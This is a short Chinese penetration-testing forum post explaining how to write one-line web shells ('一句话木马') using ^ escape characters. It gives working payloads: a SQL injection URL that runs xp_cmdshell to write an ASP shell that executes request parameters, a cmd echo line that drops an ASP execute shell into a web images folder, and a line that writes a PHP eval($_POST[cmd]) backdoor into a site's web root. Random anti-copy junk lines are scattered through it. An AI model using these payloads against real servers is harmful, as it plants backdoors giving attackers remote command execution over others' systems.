中国网络渗透测试联盟
标题:
转义字符来写ASP(一句话木马)文件的方法
[打印本页]
作者:
admin
时间:
2012-9-15 14:52
标题:
转义字符来写ASP(一句话木马)文件的方法
用^转义字符来写ASP(一句话木马)文件的方法:
- V/ d" l. f6 x- Q( w! m& G
: K2 `- ]3 ]4 g
1.注入点后执行
http://192.168.1.5/display.asp?keyno=1881;exec
master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^> >c:\mu.asp';--
# b$ ]6 A" H, N! _2 ?6 [9 s
. I4 K) ]- ?, V* S
2.CMD下执行 echo ^<%execute^(request^("l"^)^)%^> >D:\doc\week6\images\2.asp
; c' E! \( e6 V8 s/ C
/ e+ L, _6 E* d/ s; J3 _& T
7 Y$ R# n: Q3 W/ L$ j
PHP
$ r. w/ w( I% g: D" _1 _; s8 f& o9 y
echo ^<^?php eval^($_POST[cmd])?^>>D:\hosting\wwwroot\zlhua_cn\htdocs\1.php
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2